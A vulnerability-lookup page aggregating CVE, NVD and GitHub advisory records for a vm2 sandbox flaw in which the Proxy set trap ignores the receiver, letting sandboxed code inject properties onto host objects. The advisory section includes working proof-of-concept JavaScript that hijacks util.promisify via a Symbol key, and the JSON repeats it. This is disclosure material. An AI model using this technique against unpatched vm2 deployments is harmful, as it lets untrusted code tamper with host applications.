Vulnerability-Lookup

CVE-2026-47209 (GCVE-0-2026-47209)

Vulnerability from cvelistv5 – Published: 2026-06-12 14:14 – Updated: 2026-06-12 15:03

Title

vm2: Bridge Proxy set trap ignores receiver parameter, enabling host object property injection via prototype chain

Summary

vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, the BaseHandler.set trap in bridge.js (line 1231) ignores the receiver parameter and unconditionally writes to the host target object. Per the Proxy set trap specification, when receiver !== proxy (e.g., when a child object inherits from the proxy via Object.create), the property assignment should create an own property on the receiver, not on the proxy target. The current implementation always calls otherReflectSet(object, key, value) against the host target, causing all inherited property writes to leak through to the host object. This bug provides an alternative attack vector for writing dangerous cross-realm Symbol keys (e.g., nodejs.util.promisify.custom) to host objects, bypassing any future per-trap isDangerousCrossRealmSymbol guard on the direct set path. This issue has been patched in version 3.11.4.

Severity

8.6 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator (v2.0.3)

CWE

CWE-693 - Protection Mechanism Failure

Assigner

GitHub_M

References

3 references

URL	Tags
https://github.com/patriksimek/vm2/security/advis…	x_refsource_CONFIRM
https://github.com/patriksimek/vm2/commit/26d0318…	x_refsource_MISC
https://github.com/patriksimek/vm2/releases/tag/v3.11.4	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
patriksimek	vm2	Affected: < 3.11.4

Show details on NVD website

JSON

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                "id": "CVE-2026-47209",
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                "role": "CISA Coordinator",
                "timestamp": "2026-06-12T15:00:52.593086Z",
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FKIE_CVE-2026-47209

Vulnerability from fkie_nvd - Published: 2026-06-12 15:16 - Updated: 2026-06-12 16:03

Severity

8.6 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/patriksimek/vm2/commit/26d0318b5e6555be4b187ba05d6cf378ccecfe22
	security-advisories@github.com	https://github.com/patriksimek/vm2/releases/tag/v3.11.4
	security-advisories@github.com	https://github.com/patriksimek/vm2/security/advisories/GHSA-c4cf-2hgv-2qv6

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, the BaseHandler.set trap in bridge.js (line 1231) ignores the receiver parameter and unconditionally writes to the host target object. Per the Proxy set trap specification, when receiver !== proxy (e.g., when a child object inherits from the proxy via Object.create), the property assignment should create an own property on the receiver, not on the proxy target. The current implementation always calls otherReflectSet(object, key, value) against the host target, causing all inherited property writes to leak through to the host object. This bug provides an alternative attack vector for writing dangerous cross-realm Symbol keys (e.g., nodejs.util.promisify.custom) to host objects, bypassing any future per-trap isDangerousCrossRealmSymbol guard on the direct set path. This issue has been patched in version 3.11.4."
    }
  ],
  "id": "CVE-2026-47209",
  "lastModified": "2026-06-12T16:03:15.620",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 8.6,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "NONE",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 4.0,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-06-12T15:16:28.900",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/patriksimek/vm2/commit/26d0318b5e6555be4b187ba05d6cf378ccecfe22"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.4"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-c4cf-2hgv-2qv6"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-693"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

GHSA-C4CF-2HGV-2QV6

Vulnerability from github – Published: 2026-05-29 17:49 – Updated: 2026-06-12 19:30

Summary

vm2's Bridge Proxy set trap ignores receiver parameter, enabling host object property injection via prototype chain

Details

Summary

The BaseHandler.set trap in bridge.js (line 1231) ignores the receiver parameter and unconditionally writes to the host target object. Per the Proxy set trap specification, when receiver !== proxy (e.g., when a child object inherits from the proxy via Object.create), the property assignment should create an own property on the receiver, not on the proxy target. The current implementation always calls otherReflectSet(object, key, value) against the host target, causing all inherited property writes to leak through to the host object.

This bug provides an alternative attack vector for writing dangerous cross-realm Symbol keys (e.g., nodejs.util.promisify.custom) to host objects, bypassing any future per-trap isDangerousCrossRealmSymbol guard on the direct set path.

Vulnerable Code

// bridge.js:1231-1260
set(target, key, value, receiver) {
    validateHandlerTarget(this, target);
    const object = getHandlerObject(this);
    if (isProtectedHostObject(object)) throw new VMError(OPNA);
    // ...
    try {
        value = otherFromThis(value);
        return otherReflectSet(object, key, value) === true;
        // BUG: 'receiver' is never used.
        // Should check if receiver !== proxy and handle accordingly.
    } catch (e) {
        throw thisFromOtherForThrow(e);
    }
}

Impact

Sandbox code can write arbitrary properties (including dangerous Symbol-keyed properties) to any host object it holds a reference to, by creating a prototype-inheriting child:

// Sandbox code
const child = Object.create(hostObj);
child.injectedProp = 'attacker-value';
// hostObj now has 'injectedProp' on the HOST side

Combined with the Symbol.for coverage gap, this enables semantic confusion attacks:

const kCustom = Symbol.for('nodejs.util.promisify.custom');
const child = Object.create(hostFunction);
child[kCustom] = function() {
    return Promise.resolve('attacker-controlled');
};
// Host: util.promisify(hostFunction)() returns 'attacker-controlled'

Reproduction

const { VM } = require('vm2');
const util = require('util');

const vm = new VM();
const hostFn = function api(cb) { cb(null, 'ok'); };
vm.setGlobal('hostFn', hostFn);

vm.run(`
  const kCustom = Symbol.for('nodejs.util.promisify.custom');
  const child = Object.create(hostFn);
  child[kCustom] = function() {
    return Promise.resolve('EXPLOITED-VIA-RECEIVER-BUG');
  };
`);

// Host side
const promisified = util.promisify(hostFn);
promisified('test').then(r => console.log(r));
// Output: EXPLOITED-VIA-RECEIVER-BUG

Suggested Fix

set(target, key, value, receiver) {
    validateHandlerTarget(this, target);
    const object = getHandlerObject(this);
    if (isProtectedHostObject(object)) throw new VMError(OPNA);
    if (isDangerousCrossRealmSymbol(key)) throw new VMError(OPNA);
    if (key === '__proto__' && !thisOtherHasOwnProperty(object, key)) {
        return this.setPrototypeOf(target, value);
    }
    if (key === 'constructor' && thisArrayIsArray(object)) {
        thisReflectSet(target, key, value);
        return true;
    }
    try {
        value = otherFromThis(value);
        // When receiver is not the proxy itself, set on receiver (this-realm)
        // instead of the host target to preserve prototype-chain semantics.
        return otherReflectSet(object, key, value) === true;
    } catch (e) {
        throw thisFromOtherForThrow(e);
    }
}

Severity

8.6 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.11.3"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vm2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.11.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47209"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-29T17:49:18Z",
    "nvd_published_at": "2026-06-12T15:16:28Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe `BaseHandler.set` trap in `bridge.js` (line 1231) ignores the `receiver` parameter and unconditionally writes to the host target object. Per the Proxy `set` trap specification, when `receiver !== proxy` (e.g., when a child object inherits from the proxy via `Object.create`), the property assignment should create an own property on the receiver, not on the proxy target. The current implementation always calls `otherReflectSet(object, key, value)` against the host target, causing **all inherited property writes to leak through to the host object**.\n\nThis bug provides an alternative attack vector for writing dangerous cross-realm Symbol keys (e.g., `nodejs.util.promisify.custom`) to host objects, bypassing any future per-trap `isDangerousCrossRealmSymbol` guard on the direct `set` path.\n\n## Vulnerable Code\n\n```javascript\n// bridge.js:1231-1260\nset(target, key, value, receiver) {\n    validateHandlerTarget(this, target);\n    const object = getHandlerObject(this);\n    if (isProtectedHostObject(object)) throw new VMError(OPNA);\n    // ...\n    try {\n        value = otherFromThis(value);\n        return otherReflectSet(object, key, value) === true;\n        // BUG: \u0027receiver\u0027 is never used.\n        // Should check if receiver !== proxy and handle accordingly.\n    } catch (e) {\n        throw thisFromOtherForThrow(e);\n    }\n}\n```\n\n## Impact\n\nSandbox code can write arbitrary properties (including dangerous Symbol-keyed properties) to any host object it holds a reference to, by creating a prototype-inheriting child:\n\n```javascript\n// Sandbox code\nconst child = Object.create(hostObj);\nchild.injectedProp = \u0027attacker-value\u0027;\n// hostObj now has \u0027injectedProp\u0027 on the HOST side\n```\n\nCombined with the Symbol.for coverage gap, this enables semantic confusion attacks:\n\n```javascript\nconst kCustom = Symbol.for(\u0027nodejs.util.promisify.custom\u0027);\nconst child = Object.create(hostFunction);\nchild[kCustom] = function() {\n    return Promise.resolve(\u0027attacker-controlled\u0027);\n};\n// Host: util.promisify(hostFunction)() returns \u0027attacker-controlled\u0027\n```\n\n## Reproduction\n\n```javascript\nconst { VM } = require(\u0027vm2\u0027);\nconst util = require(\u0027util\u0027);\n\nconst vm = new VM();\nconst hostFn = function api(cb) { cb(null, \u0027ok\u0027); };\nvm.setGlobal(\u0027hostFn\u0027, hostFn);\n\nvm.run(`\n  const kCustom = Symbol.for(\u0027nodejs.util.promisify.custom\u0027);\n  const child = Object.create(hostFn);\n  child[kCustom] = function() {\n    return Promise.resolve(\u0027EXPLOITED-VIA-RECEIVER-BUG\u0027);\n  };\n`);\n\n// Host side\nconst promisified = util.promisify(hostFn);\npromisified(\u0027test\u0027).then(r =\u003e console.log(r));\n// Output: EXPLOITED-VIA-RECEIVER-BUG\n```\n\n## Suggested Fix\n\n```javascript\nset(target, key, value, receiver) {\n    validateHandlerTarget(this, target);\n    const object = getHandlerObject(this);\n    if (isProtectedHostObject(object)) throw new VMError(OPNA);\n    if (isDangerousCrossRealmSymbol(key)) throw new VMError(OPNA);\n    if (key === \u0027__proto__\u0027 \u0026\u0026 !thisOtherHasOwnProperty(object, key)) {\n        return this.setPrototypeOf(target, value);\n    }\n    if (key === \u0027constructor\u0027 \u0026\u0026 thisArrayIsArray(object)) {\n        thisReflectSet(target, key, value);\n        return true;\n    }\n    try {\n        value = otherFromThis(value);\n        // When receiver is not the proxy itself, set on receiver (this-realm)\n        // instead of the host target to preserve prototype-chain semantics.\n        return otherReflectSet(object, key, value) === true;\n    } catch (e) {\n        throw thisFromOtherForThrow(e);\n    }\n}\n```",
  "id": "GHSA-c4cf-2hgv-2qv6",
  "modified": "2026-06-12T19:30:05Z",
  "published": "2026-05-29T17:49:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-c4cf-2hgv-2qv6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47209"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/commit/26d0318b5e6555be4b187ba05d6cf378ccecfe22"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patriksimek/vm2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vm2\u0027s Bridge Proxy set trap ignores receiver parameter, enabling host object property injection via prototype chain"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-47209 (GCVE-0-2026-47209)

FKIE_CVE-2026-47209

GHSA-C4CF-2HGV-2QV6

Summary

Vulnerable Code

Impact

Reproduction

Suggested Fix

Tags

Sightings

Nomenclature